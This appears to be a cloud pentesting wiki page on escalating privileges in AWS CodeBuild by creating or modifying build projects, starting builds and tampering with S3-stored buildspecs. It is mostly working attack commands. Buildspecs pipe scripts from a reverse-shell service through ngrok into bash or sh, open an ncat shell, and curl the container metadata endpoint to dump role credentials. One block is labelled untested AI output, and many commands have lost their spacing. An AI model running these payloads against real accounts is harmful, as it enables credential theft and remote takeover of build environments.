An attacker with the iam:PassRole, codebuild:CreateProject, and codebuild:StartBuild or codebuild:StartBuildBatch permissions would be able to escalate privileges to any codebuild IAM role by creating a running one.
# Enumerate then env and get credsREV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"JSON="{ \"name\": \"codebuild-demo-project\", \"source\": { \"type\": \"NO_SOURCE\", \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" }, \"artifacts\": { \"type\": \"NO_ARTIFACTS\" }, \"environment\": { \"type\": \"LINUX_CONTAINER\", \"image\": \"aws/codebuild/standard:1.0\", \"computeType\": \"BUILD_GENERAL1_SMALL\" }, \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"}"REV_PATH="/tmp/rev.json"printf"$JSON"> $REV_PATH# Create projectawscodebuildcreate-project--cli-input-jsonfile://$REV_PATH# Build itawscodebuildstart-build--project-namecodebuild-demo-project# Wait 3-4 mins until it's executed# Then you can access the logs in the console to find the AWS role token in the output# Delete the projectawscodebuilddelete-project--namecodebuild-demo-project
# Generated by AI, not tested# Create a buildspec.yml file with reverse shell commandecho'version: 0.2phases: build: commands: - curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash'>buildspec.yml# Upload the buildspec to the bucket and give access to everyoneawss3cpbuildspec.ymls3:<S3_BUCKET_NAME>/buildspec.yml# Create a new CodeBuild project with the buildspec.yml fileaws codebuild create-project --name reverse-shell-project --source type=S3,location=<S3_BUCKET_NAME>/buildspec.yml --artifacts type=NO_ARTIFACTS --environment computeType=BUILD_GENERAL1_SMALL,image=aws/codebuild/standard:5.0,type=LINUX_CONTAINER --service-role <YOUR_HIGH_PRIVILEGE_ROLE_ARN> --timeout-in-minutes 60
# Start a build with the new projectawscodebuildstart-build--project-namereverse-shell-project
Potential Impact: Direct privesc to any AWS Codebuild role.
In a Codebuild container the file /codebuild/output/tmp/env.sh contains all the env vars needed to access the metadata credentials.
This file contains the env variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI which contains the URL path to access the credentials. It will be something like this /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420
Add that to the URL http://169.254.170.2/ and you will be able to dump the role credentials.
Moreover, it also contains the env variable ECS_CONTAINER_METADATA_URI which contains the complete URL to get metadata info about the container.
Just like in the previous section, if instead of creating a build project you can modify it, you can indicate the IAM Role and steal the token
REV_PATH="/tmp/codebuild_pwn.json"# Enumerate then env and get credsREV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"# You need to indicate the name of the project you want to modifyJSON="{ \"name\": \"<codebuild-demo-project>\", \"source\": { \"type\": \"NO_SOURCE\", \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" }, \"artifacts\": { \"type\": \"NO_ARTIFACTS\" }, \"environment\": { \"type\": \"LINUX_CONTAINER\", \"image\": \"aws/codebuild/standard:1.0\", \"computeType\": \"BUILD_GENERAL1_SMALL\" }, \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"}"printf"$JSON"> $REV_PATHawscodebuildupdate-project--cli-input-jsonfile://$REV_PATHawscodebuildstart-build--project-namecodebuild-demo-project
Potential Impact: Direct privesc to any AWS Codebuild role.
Like in the previous section but without the iam:PassRole permission, you can abuse this permissions to modify existing Codebuild projects and access the role they already have assigned.
REV_PATH="/tmp/codebuild_pwn.json"# Enumerate then env and get credsREV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"JSON="{ \"name\": \"<codebuild-demo-project>\", \"source\": { \"type\": \"NO_SOURCE\", \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" }, \"artifacts\": { \"type\": \"NO_ARTIFACTS\" }, \"environment\": { \"type\": \"LINUX_CONTAINER\", \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", \"computeType\": \"BUILD_GENERAL1_SMALL\", \"imagePullCredentialsType\": \"CODEBUILD\" }}"# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!printf"$JSON"> $REV_PATHawscodebuildupdate-project--cli-input-jsonfile://$REV_PATHawscodebuildstart-build--project-namecodebuild-demo-project
REV_PATH="/tmp/codebuild_pwn.json"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"# You need to indicate the name of the project you want to modifyJSON="{ \"name\": \"codebuild_lab_3_project\", \"source\": { \"type\": \"NO_SOURCE\", \"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\"
}, \"artifacts\": { \"type\": \"NO_ARTIFACTS\" }, \"environment\": { \"type\": \"LINUX_CONTAINER\", \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", \"computeType\": \"BUILD_GENERAL1_SMALL\", \"imagePullCredentialsType\": \"CODEBUILD\" }}"printf"$JSON"> $REV_PATH# Note how it's used a image from AWS public ECR instead from dockerhub as dockerhub rate limits CodeBuild!awscodebuildupdate-project--cli-input-jsonfile://$REV_PATHawscodebuildstart-build-batch--project-namecodebuild-demo-project
Potential Impact: Direct privesc to attached AWS Codebuild roles.
SSM
Having enough permissions to start a ssm session it's possible to get inside a Codebuild project being built.
The codebuild project will need to have a breakpoint:
An attacker able to start/restart a build of a specific CodeBuild project which stores its buildspec.yml file on an S3 bucket the attacker has write access to, can obtain command execution in the CodeBuild process.
Note: the escalation is relevant only if the CodeBuild worker has a different role, hopefully more privileged, than the one of the attacker.
awss3cps3://<build-configuration-files-bucket>/buildspec.yml./vim./buildspec.yml# Add the following lines in the "phases > pre_builds > commands" section## - apt-get install nmap -y# - ncat <IP> <PORT> -e /bin/shawss3cp./buildspec.ymls3://<build-configuration-files-bucket>/buildspec.ymlawscodebuildstart-build--project-name<project-name># Wait for the reverse shell :)
You can use something like this buildspec to get a reverse shell:
Impact: Direct privesc to the role used by the AWS CodeBuild worker that usually has high privileges.
Note that the buildspec could be expected in zip format, so an attacker would need to download, unzip, modify the buildspec.yml from the root directory, zip again and upload